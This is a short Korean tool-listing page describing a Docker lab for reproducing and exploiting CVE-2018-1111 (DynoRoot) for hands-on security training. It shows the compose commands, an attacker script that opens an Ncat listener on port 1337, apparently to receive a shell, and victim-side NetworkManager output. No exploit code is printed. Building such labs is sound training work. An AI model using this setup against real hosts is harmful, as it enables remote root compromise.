CVE-2018-1111 — Docker 기반 랩 환경으로, CVE-2018-1111(DynoRoot)을 재현하고 악용할 수 있도록 자동화된 공격자 및 피해자 스크립트를 제공하여 실습형 보안 교육을 지원합니다. | Kitploit

CVE-2018-1111

CVE-2018-1111을 위한 환경

동영상

demo

명령어

docker-compose

$ docker-compose up -d

공격자

$ docker-compose exec attacker bash
[root@attacker /]# /scripts/attack.sh
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337

피해자

$ docker-compose exec victim bash
[root@victim /]# /scripts/victim.sh
Connection 'eth0' (90e3f2ae-e210-446d-8dfb-3f87510ab736) successfully added.
Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/1)

도구 다운로드